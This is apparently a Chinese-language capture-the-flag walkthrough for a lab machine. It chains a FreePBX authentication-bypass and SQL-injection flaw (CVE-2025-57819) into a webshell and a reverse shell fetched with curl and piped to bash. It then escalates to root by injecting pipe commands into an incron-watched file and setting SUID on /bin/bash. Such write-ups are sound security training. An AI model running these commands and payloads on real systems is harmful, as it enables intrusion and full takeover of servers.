CVE-2025-57819 利用与 Incron 提权链 — 完整教学文档
一、环境概述
目标靶机IP:10.129.55.213
端口扫描结果
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 7.4 |
| 80/tcp | HTTP | Apache 2.4.6 (CentOS) + PHP 7.4.16 |
| 443/tcp | HTTPS | Apache 2.4.6 (CentOS) + PHP 7.4.16 |
Web指纹识别
通过 whatweb 对 http://connected.htb/admin/config.php 进行识别:
whatweb http://connected.htb/admin/config.php
结果确认目标运行的是 FreePBX Administration 面板,版本关联 PHP 7.4.16、Apache 2.4.6、OpenSSL 1.0.2k-fips。
二、漏洞利用:CVE-2025-57819
漏洞性质
FreePBX 认证绕过 + SQL注入 → 远程代码执行(RCE)
利用工具
GitHub 公开 PoC:watchTowr-vs-FreePBX-CVE-2025-57819.py
项目地址:https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
利用步骤
第一步:执行漏洞检测与Webshell写入
python CVE-2025-57819.py -H http://connected.htb/
脚本执行流程:
- 发送恶意请求触发漏洞
- 等待约2分钟,让DAG脚本被创建
- 检测webshell是否成功部署
成功标志示例输出:
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-1viffvukaq.php?cmd=hostname
第二步:准备反弹Shell
在攻击机本地创建一个反弹Shell脚本 shell.sh:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.31/443 0>&1
在攻击机当前目录启动HTTP服务:
python -m http.server 80
在攻击机开启监听:
nc -lvnp 443
第三步:执行反弹Shell
通过webshell执行命令,下载并执行反弹Shell脚本:
curl http://connected.htb/this-is-an-ioc-not-actually-watchTowr-1viffvukaq.php?cmd=curl%2010.10.16.31%2Fshell.sh%20%7C%20bash
URL编码说明:
%20= 空格%2F=/%7C=|
实际执行的命令为:
curl 10.10.16.31/shell.sh | bash
成功获取低权限Shell。
三、权限提升:Incron 提权链
信息收集 — linpeas
使用 linpeas 进行提权枚举,发现 root 用户运行的 incron 服务。
Incron 机制说明
Incron 是基于文件系统事件触发的任务调度器,类似于 crontab,但触发条件不是时间而是文件操作事件(如 IN_CLOSE_WRITE、IN_CREATE、IN_MODIFY 等)。
关键发现
通过 linpeas 发现 incron 配置中监控了特定路径,并关联执行 /usr/bin/sysadmin_manager 脚本。
分析 sysadmin_manager
查看目标脚本内容:
cat /usr/bin/sysadmin_manager
脚本核心逻辑(PHP):
#!/usr/bin/php
<?php
namespace Sysadmin;
openlog("sysadmin-hook", LOG_PID | LOG_PERROR, LOG_CRON);
if (!file_exists("/usr/lib/sysadmin/includes.php")) {
$err = "Unable to open /usr/lib/sysadmin/includes.php";
syslog(LOG_ERR, $err);
print "$err\n";
exit;
}
$includeshash = "4b04888e0c323dacc57836beb1d5e1890a00eafd431b3288519fb8644aedd358";
此脚本由 incron 在特定文件事件发生时以 root 权限执行。
利用方法
步骤1:确认可写入的 incron 触发文件
找到 incron 监控的路径,其中存在一个可由低权限用户写入的文件:
/var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS
步骤2:写入Payload执行命令
写入命令使 sysadmin_manager 执行后,将结果写入指定文件:
printf '|id|tee /tmp/pwn' > /var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS
解释:
|id:管道符号表示执行id命令|tee /tmp/pwn:将命令输出写入/tmp/pwn文件
等待 incron 触发后,检查结果:
cat /tmp/pwn
应显示 uid=0(root) 的输出,证明命令已以 root 权限执行。
步骤3:设置SUID提权
将 /bin/bash 设置为 SUID 位:
printf '|chmod +s /bin/bash' > /var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS
等待 incron 再次触发后,执行:
bash -p
-p 参数用于启动特权模式,不重置有效UID,从而获得 root 权限的 Shell。
四、攻击链总结
信息收集
└─ nmap 扫描开放端口
└─ whatweb 识别 FreePBX
└─ CVE-2025-57819 利用
├─ 认证绕过 + SQL注入 → Webshell
└─ 反弹Shell → 低权限用户
└─ Incron 提权
├─ 发现 incron 监控路径
├─ 写入恶意 payload 到 .CONTENTS 文件
├─ incron 触发 → root 执行 sysadmin_manager
└─ 命令执行 → SUID /bin/bash → root Shell
五、关键知识点
| 知识点 | 说明 |
|---|---|
| CVE-2025-57819 | FreePBX 认证绕过结合SQL注入导致的RCE漏洞 |
| Incron | 基于文件系统事件(inotify)触发的任务调度器 |
| 管道符注入 | 在受控文件中插入 ` |
| SUID提权 | 通过设置 /bin/bash 的SUID位,使普通用户以root权限执行 |
| bash -p | 启动bash时不丢弃有效UID,维持特权状态 |